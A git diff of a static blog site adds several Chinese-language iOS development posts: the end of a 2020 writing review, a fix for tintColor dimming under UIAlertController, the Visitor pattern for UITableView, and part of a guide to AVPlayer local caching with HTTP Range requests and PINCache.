人,要學會珍惜當下、珍惜自己所擁有的。

工作

回到工作上,2020 突破舒適圈進入新的環境;讓我接觸到許多新鮮事,吸收了很多 iOS 、工程開發上的精華,雖然 2020 的產文量不如之前、還曾經停止更新了三四個月;但重質不重量,2020 撰寫的文章雖少但表現其實都比之前的好;慢慢有在進步!

另外去年也用 Google site 把個人網站弄起來了;並持續會把 Medium 新文章消息同步過去。

[zhgchg.li](http://www.zhgchg.li){:target="_blank"}

zhgchg.li

初衷

我還是那個我,我是很懶的人;不會為了寫文章而寫,每篇文章都是自己醞釀了些心得然後立刻下筆記錄下來的歷程,如果發懶沒有一口氣做這件事,我應該也懶得回頭寫了(不過這多半是不重要、不有趣的議題我才會這樣)。

缺點就是有時候一頭熱,寫太快,打錯字是小如果內容有錯或不夠完整誤導大家真是罪孽 Orz;所以今年在寫文章時會把能想到、能處理的問題都一並研究處理,就算我當初專案上沒有用到;就算不能處理也留下個訊息提醒讀者還有這個方面要注意。

寫文章用到的 Chrome Extension

  • 再推一次 Code Medium 這個 ,可以直接在 Medium 之中使用 Gist 貼上漂亮的程式碼!

安裝好之後,在 Medium 上點「+」然後選最後一個「<>」

這時畫面會分為左右,可以直接在右方輸入程式碼:

送出之後就會直接以 gist 嵌入 Medium 文章中:

使用 gist 嵌入程式碼的好處是,支援彩色高亮,方便讀者閱讀;壞處是如果想把 Medium 轉成 markdown 格式時,無法自動將嵌入的程式碼一起轉換,要自己手動 Copy & Paste。

- 試過很多轉換工具都不支援 gist 擷取,如果有朋友知道懇請補充。

- Medium 內建的程式碼區塊到現在都還不支援彩色高亮顯示,所以只能這樣。

每日流量聚合顯示,一眼就能看出今天的流量文章組成。

另外還有統計新增的追蹤者、拍手…等等功能。

今年目標

備份計畫

除了繼續寫作外;預計會找個時間把每篇文章都翻成 Markdown 版本並上傳到 Github 進行備份,防止哪一天 Medium 突然爆炸…,目前是使用 Typora 這個編輯器;蠻好用的,之後再來介紹!

[Typora](http://typora.io/){:target="_blank"}

Typora

目前進度大約完成 15%,因為很無聊所以有點懶 哈哈。

Medium 官方的備份下載只有備份純文字,圖片都還是外連沒有下載回來;更何況程式碼的部分都是內嵌,不能直接在 Markdown 顯示。

獨立網域

已經部署上去了,請參考「 Medium 自訂網域功能回歸 」。

  • Profile 頁: blog.zhgchg.li (我是只用子網域 blog.zhgchg.li ,因為主網域有其他用途)

但發現會影響 Google SEO,還在考慮&測試要不要真的使用。

Buy Me A Coffee!

最近也開通了以下服務:

反正我很閒

反正我很閒

統計

最後還是要來個統計!

2020 年一共發表了: 16 篇文章: 3 篇生活 + 2 篇開箱 + 11 篇技術文章

全站累積至 2021/02/24 :

  • 所有文章瀏覽次數: 180, 000 次(成長 2倍)
  • 所有文章拍手總計: 1,1000 次(成長 1 倍)
  • 追蹤者:突破 400 位(成長 1 倍)

表現比較好的文章有:

2020 一樣感謝大家的支持與愛護,今年也會繼續加油的!

你的回饋就是我寫作的原動力!

ZhgChgLi, 2021/02/24.

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Medium 自訂網域功能回歸

找回密碼之簡訊驗證碼強度安全問題

diff --git a/posts/6012b7b4f612/index.html b/posts/6012b7b4f612/index.html new file mode 100644 index 000000000..be7ac6395 --- /dev/null +++ b/posts/6012b7b4f612/index.html @@ -0,0 +1,11 @@ + iOS tintAdjustmentMode 屬性 | ZhgChgLi
Home iOS tintAdjustmentMode 屬性
Post
Cancel

iOS tintAdjustmentMode 屬性

iOS tintAdjustmentMode 屬性

Present UIAlertController 時本頁上的 Image Assets (Render as template) .tintColor 設定失效問題

顧小事成大事的第一篇:

2019年新主題,「 顧小事成大事 」意指 完善小細節聚沙成塔成大事 ,如同郭董說的「 魔鬼藏在細節裡 」;主要都是整理 小問題及解決方法 ,另一方面也當筆記紀錄,如果你也有發現一樣的問題希望能幫助到你:)

問題修正前後比較

ㄧ樣不囉唆解釋,直接上比較圖.

左修正前/右修正後

左修正前/右修正後

可以看到左方ICON圖在有Present UIAlertController時tintColor顏色設定失效,另外當Present的視窗關閉後就會恢復顏色設定顯示正常.

問題修正

首先介紹一下 tintAdjustmentMode 的屬性設置,此屬性控制了 tintColor 的顯示模式,此屬性有三個枚舉可設定:

  1. .Automatic :視圖的 tintAdjustmentMode 與包覆的父視圖設定一致
  2. .Normal預設模式 ,正常顯示設定的 tintColor
  3. .Dimmed :將 tintColor 改為低飽和度、暗淡的顏色(就是灰色啦!)

上述問題不是什麼BUG而是系統本身機制即是如此:

在Present UIAlertController時會將本頁Root ViewController上View的 tintAdjustmentMode 改為 Dimmed (所以準確來說也不叫顏色設定「失效」,只是 tintAdjustmentMode 模式更改)

但有時我們希望ICON顏色能保持ㄧ致則只需在UIView中tintColorDidChange事件保持tintAdjustmentMode設定ㄧ致:

1
+2
+3
+4
+5
+
extension UIButton { 
+   override func tintColorDidChange() {
+        self.tintAdjustmentMode = .normal //永遠保持normal
+    }
+}
+

結束!

不是什麼大問題,不改也沒差,但就是礙眼

其實每一個頁面遇到present UIAlertController、action sheet、popover…都會將本頁view的tintAdjustmentMode改為灰色,但我在這個頁面才發現

查找了一陣子資料才發現跟這個屬性有關係,設定之後就解決我的小疑惑.

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

動手做一支 Apple Watch App 吧!

自己的電話自己辨識(Swift)

diff --git a/posts/60473cb47550/index.html b/posts/60473cb47550/index.html new file mode 100644 index 000000000..077152e45 --- /dev/null +++ b/posts/60473cb47550/index.html @@ -0,0 +1,377 @@ + Visitor Pattern in TableView | ZhgChgLi
Home Visitor Pattern in TableView
Post
Cancel

Visitor Pattern in TableView

Visitor Pattern in TableView

使用 Visitor Pattern 增加 TableView 的閱讀和擴充性

Photo by [Alex wong](https://unsplash.com/@killerfvith?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Alex wong

前言

承接上篇「 Visitor Pattern in Swift 」介紹 Visitor 模式及一個簡單的實務應用場景,此篇將介紹另一個在 iOS 需求開發上的實際應用。

需求場景

要開發一個動態牆功能,有多種不同類型的區塊需要動態組合顯示。

以 StreetVoice 的動態牆為例:

如上圖所示,動態牆是由多種不同類型的區塊動態組合而成:

  • Type A: 活動動態
  • Type B: 追蹤推薦
  • Type C: 新歌動態
  • Type D: 新專輯動態
  • Type E: 新追縱動態
  • Type …. 更多

類型可預期會在未來隨著功能迭代越來越多。

問題

在沒有任何架構設計的情況下 Code 可能會長這樣:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
+    let row = datas[indexPath.row]
+    switch row.type {
+    case .invitation:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "invitation", for: indexPath) as! InvitationCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newSong:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newSong", for: indexPath) as! NewSongCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newEvent:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newEvent", for: indexPath) as! NewEventCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newText:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newText", for: indexPath) as! NewTextCell
+        // config cell with viewObject/viewModel...
+        return cell
+    case .newPhotos:
+        let cell = tableView.dequeueReusableCell(withIdentifier: "newPhotos", for: indexPath) as! NewPhotosCell
+        // config cell with viewObject/viewModel...
+        return cell
+    }
+}
+
+func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
+    let row = datas[indexPath.row]
+    switch row.type {
+    case .invitation:
+        if row.isEmpty {
+            return 100
+        } else {
+            return 300
+        }
+    case .newSong:
+        return 100
+    case .newEvent:
+        return 200
+    case .newText:
+        return UITableView.automaticDimension
+    case .newPhotos:
+        return UITableView.automaticDimension
+    }
+}
+
  • 難以測試:什麼 Type 有什麼對應的邏輯輸出難以測試
  • 難以擴充維護:需要新增新 Type 時,都要更動此 ViewController;cellForRow、heightForRow、willDisplay…四散在各個 Function 內,難保忘記改,或改錯
  • 難以閱讀:全部邏輯都在 View 身上

Visitor Pattern 解決方案

Why?

整理了一下物件關係,如下圖所示:

我們有許多種類型的 DataSource (ViewObject) 需要與多種類型的操作器做交互,是一個很典型的 Visitor Double Dispatch

How?

為簡化 Demo Code 以下改用 PlainTextFeedViewObject 純文字動態、 MemoriesFeedViewObject 每日回憶、 MediaFeedViewObject 圖片動態,呈現設計。

套用 Visitor Pattern 的架構圖如下:

首先定義出 Visitor 介面,此介面用途是抽象宣告出操作器能接受的 DataSource 類型:

1
+2
+3
+4
+5
+6
+7
+
protocol FeedVisitor {
+    associatedtype T
+    func visit(_ viewObject: PlainTextFeedViewObject) -> T?
+    func visit(_ viewObject: MediaFeedViewObject) -> T?
+    func visit(_ viewObject: MemoriesFeedViewObject) -> T?
+    //...
+}
+

各操作器實現 FeedVisitor 介面:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
struct FeedCellVisitor: FeedVisitor {
+    typealias T = UITableViewCell.Type
+    
+    func visit(_ viewObject: MediaFeedViewObject) -> T? {
+        return MediaFeedTableViewCell.self
+    }
+    
+    func visit(_ viewObject: MemoriesFeedViewObject) -> T? {
+        return MemoriesFeedTableViewCell.self
+    }
+    
+    func visit(_ viewObject: PlainTextFeedViewObject) -> T? {
+        return PlainTextFeedTableViewCell.self
+    }
+}
+

實現 ViewObject <-> UITableViewCell 對應。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
struct FeedCellHeightVisitor: FeedVisitor {
+    typealias T = CGFloat
+    
+    func visit(_ viewObject: MediaFeedViewObject) -> T? {
+        return 30
+    }
+    
+    func visit(_ viewObject: MemoriesFeedViewObject) -> T? {
+        return 10
+    }
+    
+    func visit(_ viewObject: PlainTextFeedViewObject) -> T? {
+        return 10
+    }
+}
+

實現 ViewObject <-> UITableViewCell Height 對應。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
struct FeedCellConfiguratorVisitor: FeedVisitor {
+    
+    private let cell: UITableViewCell
+    
+    init(cell: UITableViewCell) {
+        self.cell = cell
+    }
+    
+    func visit(_ viewObject: MediaFeedViewObject) -> Any? {
+        guard let cell = cell as? MediaFeedTableViewCell else { return nil }
+        // cell.config(viewObject)
+        return nil
+    }
+    
+    func visit(_ viewObject: MemoriesFeedViewObject) -> Any? {
+        guard let cell = cell as? MediaFeedTableViewCell else { return nil }
+        // cell.config(viewObject)
+        return nil
+    }
+    
+    func visit(_ viewObject: PlainTextFeedViewObject) -> Any? {
+        guard let cell = cell as? MediaFeedTableViewCell else { return nil }
+        // cell.config(viewObject)
+        return nil
+    }
+}
+

實現 ViewObject <-> Cell 如何 Config 對應。

當需要支援新的 DataSource (ViewObject) 時,只需在 FeedVisitor 介面上多加一個開口,並在各操作器中實現對應的邏輯。

DataSource (ViewObject) 與操作器的綁定:

1
+2
+3
+
protocol FeedViewObject {
+    @discardableResult func accept<V: FeedVisitor>(visitor: V) -> V.T?
+}
+

ViewObject 實現綁定的介面:

1
+2
+3
+4
+5
+
struct PlainTextFeedViewObject: FeedViewObject {
+    func accept<V>(visitor: V) -> V.T? where V : FeedVisitor {
+        return visitor.visit(self)
+    }
+}
+
1
+2
+3
+4
+5
+
struct MemoriesFeedViewObject: FeedViewObject {
+    func accept<V>(visitor: V) -> V.T? where V : FeedVisitor {
+        return visitor.visit(self)
+    }
+}
+
1
+2
+3
+4
+5
+
struct MediaFeedViewObject: FeedViewObject {
+    func accept<V>(visitor: V) -> V.T? where V : FeedVisitor {
+        return visitor.visit(self)
+    }
+}
+

UITableView 中的實現:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+
final class ViewController: UIViewController {
+
+    @IBOutlet weak var tableView: UITableView!
+    
+    private let cellVisitor = FeedCellVisitor()
+    
+    private var viewObjects: [FeedViewObject] = [] {
+        didSet {
+            viewObjects.forEach { viewObject in
+                let cellName = viewObject.accept(visitor: cellVisitor)
+                tableView.register(cellName, forCellReuseIdentifier: String(describing: cellName))
+            }
+        }
+    }
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        tableView.delegate = self
+        tableView.dataSource = self
+        
+        viewObjects = [
+            MemoriesFeedViewObject(),
+            MediaFeedViewObject(),
+            PlainTextFeedViewObject(),
+            MediaFeedViewObject(),
+            PlainTextFeedViewObject(),
+            MediaFeedViewObject(),
+            PlainTextFeedViewObject()
+        ]
+        // Do any additional setup after loading the view.
+    }
+}
+
+extension ViewController: UITableViewDataSource {
+    func numberOfSections(in tableView: UITableView) -> Int {
+        return 1
+    }
+    
+    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
+        return viewObjects.count
+    }
+    
+    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
+        let viewObject = viewObjects[indexPath.row]
+        let cellName = viewObject.accept(visitor: cellVisitor)
+        
+        let cell = tableView.dequeueReusableCell(withIdentifier: String(describing: cellName), for: indexPath)
+        let cellConfiguratorVisitor = FeedCellConfiguratorVisitor(cell: cell)
+        viewObject.accept(visitor: cellConfiguratorVisitor)
+        return cell
+    }
+}
+
+extension ViewController: UITableViewDelegate {
+    func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
+        let viewObject = viewObjects[indexPath.row]
+        let cellHeightVisitor = FeedCellHeightVisitor()
+        let cellHeight = viewObject.accept(visitor: cellHeightVisitor) ?? UITableView.automaticDimension
+        return cellHeight
+    }
+}
+

結果

  • 測試:符合單一職責原則,可針對每個操作器的每個資料單點進行測試
  • 擴充維護:當需要支援新的 DataSource (ViewObject) 時只需在 Visitor 協議擴充一個開口,並在個別操作器 Visitor 上進行實現、需要抽離新操作器時,也只要 New 新的 Class 實現即可。
  • 閱讀:只需瀏覽各操作器物件即可知道整個頁面各個 View 的組成邏輯

完整專案

Murmur…

2022/07 思維低谷期中撰寫的文章,內容如有描述不周、錯誤敬請海納!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

自行實現 iOS NSAttributedString HTML Render

iOS 為多語系字串買份保險吧!

diff --git a/posts/6ce488898003/index.html b/posts/6ce488898003/index.html new file mode 100644 index 000000000..e2519b182 --- /dev/null +++ b/posts/6ce488898003/index.html @@ -0,0 +1,1159 @@ + AVPlayer 實踐本地 Cache 功能大全 | ZhgChgLi
Home AVPlayer 實踐本地 Cache 功能大全
Post
Cancel

AVPlayer 實踐本地 Cache 功能大全

AVPlayer 實踐本地 Cache 功能大全

AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate

Photo by [Tyler Lastovich](https://unsplash.com/@lastly?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Tyler Lastovich

[2023/03/12] Update

我將之前的實作開源了,有需求的朋友可直接使用。

  • 客製化 Cache 策略,可以用 PINCache or 其他…
  • 外部只需呼叫 make AVAsset 工廠,帶入 URL,則 AVAsset 就能支援 Caching
  • 使用 Combine 實現 Data Flow 策略
  • 寫了一些測試

前言

既上一篇「 iOS HLS Cache 實踐方法探究之旅 」後已過了大半年,團隊還是一直想要實現邊播邊 Cache 功能因為對成本的影響極大;我們是音樂串流平台,如果每次播放同樣的歌曲都要重新拿整個檔案,對我們或對非吃到飽的使用者來說都很傷流量,雖然音樂檔案頂多幾 MB,但積沙成塔都是錢!

另外因為 Android 那邊已經有實作邊播邊 Cache 的功能了,之前有比較過花費,Android 端上線後明顯節省了許多流量;相對更多使用者的 iOS 應該能有更好的節流體現。

根據 上一篇 的經驗,如果我們要繼續使用 HLS ( .m3u8/.ts) 來達成目的;事情將會變得非常複雜甚至無法達成;我們退而求其次退回去使用 mp3 檔,這樣就能直接使用 AVAssetResourceLoaderDelegate 進行實作。

目標

  • 播放過的音樂會在本地產生 Cache 備份
  • 播放音樂時先檢查本地有無 Cache 讀取,有則不再重伺服器要檔案
  • 可設 Cache 策略;上限總容量,超過時開始刪除最舊的 Cache 檔案
  • 不干涉原本 AVPlayer 播放機制 (不然最快的方法就是自己先用 URLSession 把 mp3 載下來塞給 AVPlayer,但這樣就失去原本能播到哪載到哪的功能,使用者需要等待更長時間&更消耗流量)

前導知識 (1)— HTTP/1.1 Range 範圍請求、Connection Keep-Alive

HTTP/1.1 Range 範圍請求

首先我們要先了解在播放影片、音樂時是怎麼跟伺服器要求資料的;一般來說影片、音樂檔案都很大,不可能等到全部拿完才開始播放常見的是播到哪拿到了,只要有正在播放區段的資料就能運作。

要達到這個功能的方法就是透過 HTTP/1.1 Range 只返回指定資料字節範圍的資料,例如指定 0–100 就只返回 0–100 這 100 bytes 大小的資料;透過這個方法,可以依序分段取得資料,然後再彙整再一起成完整的檔案;這個方法也能運用在檔案下載續傳功能上。

如何應用?

我們會先使用 HEAD 去看 Response Header 了解到伺服器是否支援 Range 範圍請求、資源總長度、檔案類型:

1
+
curl -i -X HEAD http://zhgchg.li/music.mp3
+

使用 HEAD 我們能從 Response Header 得到以下資訊:

  • Accept-Ranges: bytes 代表伺服器支援 Range 範圍請求 如果沒有 Response 這個值或是是 Accept-Ranges: none 都代表不支援
  • Content-Length: 資源總長度,我們要知道總長度才能去分段要資料。
  • Content-Type: 檔案類型,AVPlayer 播放時需要知道的資訊。

但有時我們也會使用 GET Range: bytes=0–1 ,意思是我要求 0–1 範圍的資料但實際我根本不 Care 0–1是什麼內容,我只是要看 Response Header 的資訊; 原生 AVPlayer 就是使用 GET 去看,所以本篇也照舊使用

但比較建議使用 HEAD 去看,一方法比較正確,另一方面萬一伺服器不支援 Range 功能;用 GET 去摸就會變強迫下載完整檔案。

1
+
curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–1"
+

使用 GET 我們能從 Response Header 得到以下資訊:

  • Accept-Ranges: bytes 代表伺服器支援 Range 範圍請求 如果沒有 Response 這個值或是是 Accept-Ranges: none 都代表不支援
  • Content-Range: bytes 0–1/資源總長度 ,「/」後的數字及資源總長度,我們要知道總長度才能去分段要資料。
  • Content-Type: 檔案類型,AVPlayer 播放時需要知道的資訊。

知道伺服器支援 Range 範圍請求後,就能分段發起範圍請求:

1
+
curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–100"
+

伺服器會返回 206 Partial Content:

1
+2
+3
+4
+
Content-Range: bytes 0-100/總長度
+Content-Length: 100
+...
+(binary content)
+

這時我們就得到 Range 0–100 的 Data,可再繼續發新請求拿 Range 100–200. .200–300…到結束。

如果拿的 Range 超過資源總長度會返回 416 Range Not Satisfiable。

另外,想拿完整檔案資料除了可以請求 Range 0-總長度,也可以使用 0- 方式即可:

1
+
curl -i -X GET http://zhgchg.li/music.mp3 -H "Range: bytes=0–"
+

其他還可以同個請求要求多個 Range 資料及下條件式子,但我們用不到,詳情可 參考這

Connection Keep-Alive

http 1.1 預設是開啟狀態, 此特性能實時取得已下載的資料 ,例如檔案 5 mb,能 16 kb、16 kb、16 kb… 的取得,不用等到 5mb 都好才給你。

1
+
Connection: Keey-Alive
+

如果發現伺服器不支援 Range、 Keep-Alive

那也不用搞這麼多了,直接自己用 URLSession 下載完 mp3 檔案塞給播放器就好….但這不是我們要的結果,可以請後端幫忙修改伺服器設定。

前導知識 (2) — AVPlayer 原生是如何處理 AVURLAsset 資源?

當我們使用 AVURLAsset init with URL 資源並賦予給 AVPlayer/AVQueuePlayer 開始播放之後,同上所述,首先會用 GET Range 0–1 去取得是否支援 Range 範圍請求、資源總長度、檔案類型這三個資訊。

有了檔案資訊後,會再發起第二次請求,請求從 0-總長度 的資料。

⚠️ AVPlayer 會請求從 0-總長度 的資料,並透過實時取得已下載的資料特性 ( 16 kb、16 kb、16 kb…) 取得到他覺得資料足夠後,會發起 Cancel 取消這個網路請求 (所以實際也不會拿完,除非檔案太小)。

繼續播放後才會透過 Range 往後請求資料。

(這部分跟我之前想的不一樣,我以為會是0–100、100–200. .這樣請求)

AVPlayer 請求範例:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
1. GET Range 0-1 => Response: 總長度 150000 / public.mp3 / true
+2. GET 0-150000...
+3. 16 kb receive
+4. 16 kb receive...
+5. cancel() // current offset is 700
+6. 繼續播放
+7. GET 700-150000...
+8. 16 kb receive
+9. 16 kb receive...
+10. cancel() // current offset is 1500
+11. 繼續播放
+12. GET 1500-150000...
+13. 16 kb receive
+14. 16 kb receive...
+16. If seek to...5000
+17. cancel(12.) // current offset is 2000
+18. GET 5000-150000...
+19. 16 kb receive
+20. 16 kb receive...
+...
+

⚠️ iOS ≤12 的情況下,會先發幾個較短的請求試著摸摸看(?然後才會發要求到總長度的請求; iOS ≥ 13 則會直接發要求到總長度的請求。

還有個題外的坑,就是在觀察怎麼拿資源的時候,我使用了 mitmproxy 工具嗅探,結果發現它顯示有錯,會等到 response 全部回來才會顯示,而不是顯示分段、使用持久連接接續下載;害我嚇了一大跳!以為 iOS 很笨居然每次都要整個檔案回來!下次要用工具時要有保持一點懷疑 Orz

Cancel 發起的時機

  1. 前面說到的第二次請求,請求從 0 開始 到總長度的資源,有足夠 Data 後會發起 Cancel 取消請求。
  2. Seek 時會先發起 Cancel 取消先前的請求。

⚠️ 在 AVQueuePlayer 中切換到下一個資源、AVPlayer 更換播放資源時並不會發起 Cancel 取消前一首的請求。

AVQueue Pre-buffering

其實也是同樣呼叫 Resource Loader 處理,只是他要求的資料範圍會比較小。

實現

有了以上前導知識後我們來看實現 AVPlayer 本地 Cache 功能的原理方式。

就是之前有提到的 AVAssetResourceLoaderDelegate ,這個接口讓我們能 自行實踐 Resource Loader 給 Asset 用。

Resource Loader 實際就是個打工仔,播放器是要檔案資訊還是檔案資料,範圍哪裡都哪裡都是他告訴我們,我們去做就是。

看到有範例是一個 Resource Loader 服務所有 AVURLAsset ,我覺得是錯的,應該要一個 Resource Loader 服務一個 AVURLAsset,跟著 AVURLAsset 的生命週期,他本來就屬於 AVURLAsset。

一個 Resource Loader 服務所有 AVURLAsset 在 AVQueuePlayer 上會變得非常複雜且難以管理。

進入自訂的 Resource Loader 的時機點

要注意的是不是實踐了自己的 Resource Loader 他就會理你,只有當系統無法辨識處理這個資源的時候,才會走你的 Resource Loader。

所以我們在將 URL 資源給予 AVURLAsset 之前要先將 Scheme 換成我們自訂的 Scheme,不能是 http/https… 這些系統能處理的 Scheme。

1
+
http://zhgchg.li/music.mp3 => cacheable://zhgchg.li/music.mp3
+

AVAssetResourceLoaderDelegate

只有兩個方法需要實現:

  • func resourceLoader( _ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest : AVAssetResourceLoadingRequest) -> Bool :

此方法問我們能不能處理此資源,return true 能,return false 我們也不處理(unsupported url)。

我們能從 loadingRequest 取出要請求什麼(第一次請求檔案資訊還是請求資料,請求資料的話 Range 是多少到多少);知道請求後我們自行發起請求去拿資料, 在這我們就能決定要發起 URLSession 還是從本地返回 Data

另外也能在此做 Data 加解密操作,保護原始資料。

  • func resourceLoader( _ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest : AVAssetResourceLoadingRequest) :

前述說到的 Cancel 發起時機 發起 Cancel 時…

我們可以在這去取消正在請求的 URLSession。

本地 Cache 實現方式

Cache 的部分我直接使用 PINCache ,將 Cache 工作交由他處理,免去我們要處理 Cache 讀寫 DeadLock、清除 Cache LRU 策略 實作上的問題。

️️⚠️️️️️️️️️️️OOM警告!

因為這邊是針對音樂做 Cache 檔案大小頂多 10 MB 上下,所以才能使用 PINCache 作為本地 Cache 工具;如果是要服務影片就無法使用此方法(可能一次要載入好幾 GB 的資料到記憶體)

有這部分需求可參考大大的做法,用 FileHandle seek read/write 的特性進行處理。

開工!

不囉唆,先上完整專案:

AssetData

本地 Cache 資料物件映射實現 NSCoding,因 PINCache 是依賴 archivedData 方法 encode/decode。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+
import Foundation
+import CryptoKit
+
+class AssetDataContentInformation: NSObject, NSCoding {
+    @objc var contentLength: Int64 = 0
+    @objc var contentType: String = ""
+    @objc var isByteRangeAccessSupported: Bool = false
+    
+    func encode(with coder: NSCoder) {
+        coder.encode(self.contentLength, forKey: #keyPath(AssetDataContentInformation.contentLength))
+        coder.encode(self.contentType, forKey: #keyPath(AssetDataContentInformation.contentType))
+        coder.encode(self.isByteRangeAccessSupported, forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported))
+    }
+    
+    override init() {
+        super.init()
+    }
+    
+    required init?(coder: NSCoder) {
+        super.init()
+        self.contentLength = coder.decodeInt64(forKey: #keyPath(AssetDataContentInformation.contentLength))
+        self.contentType = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.contentType)) as? String ?? ""
+        self.isByteRangeAccessSupported = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) as? Bool ?? false
+    }
+}
+
+class AssetData: NSObject, NSCoding {
+    @objc var contentInformation: AssetDataContentInformation = AssetDataContentInformation()
+    @objc var mediaData: Data = Data()
+    
+    override init() {
+        super.init()
+    }
+
+    func encode(with coder: NSCoder) {
+        coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation))
+        coder.encode(self.mediaData, forKey: #keyPath(AssetData.mediaData))
+    }
+    
+    required init?(coder: NSCoder) {
+        super.init()
+        self.contentInformation = coder.decodeObject(forKey: #keyPath(AssetData.contentInformation)) as? AssetDataContentInformation ?? AssetDataContentInformation()
+        self.mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data ?? Data()
+    }
+}
+

AssetData 存放:

  • contentInformation : AssetDataContentInformation AssetDataContentInformation : 存放 是否支援 Range 範圍請求(isByteRangeAccessSupported)、資源總長度(contentLength)、檔案類型(contentType)
  • mediaData : 原始音訊 Data (這邊檔案太大會 OOM)

PINCacheAssetDataManager

封裝 Data 存入、取出 PINCache 邏輯。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+
import PINCache
+import Foundation
+
+protocol AssetDataManager: NSObject {
+    func retrieveAssetData() -> AssetData?
+    func saveContentInformation(_ contentInformation: AssetDataContentInformation)
+    func saveDownloadedData(_ data: Data, offset: Int)
+    func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data?
+}
+
+extension AssetDataManager {
+    func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data? {
+        if offset <= from.count && (offset + with.count) > from.count {
+            let start = from.count - offset
+            var data = from
+            data.append(with.subdata(in: start..<with.count))
+            return data
+        }
+        return nil
+    }
+}
+
+//
+
+class PINCacheAssetDataManager: NSObject, AssetDataManager {
+    
+    static let Cache: PINCache = PINCache(name: "ResourceLoader")
+    let cacheKey: String
+    
+    init(cacheKey: String) {
+        self.cacheKey = cacheKey
+        super.init()
+    }
+    
+    func saveContentInformation(_ contentInformation: AssetDataContentInformation) {
+        let assetData = AssetData()
+        assetData.contentInformation = contentInformation
+        PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil)
+    }
+    
+    func saveDownloadedData(_ data: Data, offset: Int) {
+        guard let assetData = self.retrieveAssetData() else {
+            return
+        }
+        
+        if let mediaData = self.mergeDownloadedDataIfIsContinuted(from: assetData.mediaData, with: data, offset: offset) {
+            assetData.mediaData = mediaData
+            
+            PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil)
+        }
+    }
+    
+    func retrieveAssetData() -> AssetData? {
+        guard let assetData = PINCacheAssetDataManager.Cache.object(forKey: cacheKey) as? AssetData else {
+            return nil
+        }
+        return assetData
+    }
+}
+

這邊多抽出 Protocol 因為未來可能使用其他儲存方式替代 PINCache,所以其他程式在使用時是依賴 Protocol 而非 Class 實體。

⚠️ mergeDownloadedDataIfIsContinuted 這個方法極其重要。

照線性播放只要一直 append 新 Data 到 Cache Data 中即可,但現實情況複雜得多,使用者可能播了 Range 0~100,直接 Seek 到 Range 200–500 播放;如何將已有的 0-100 Data 與新的 200–500 Data 合併就是一個很大的問題。

⚠️Data 合併有問題會出現可怕的播放鬼畜問題….

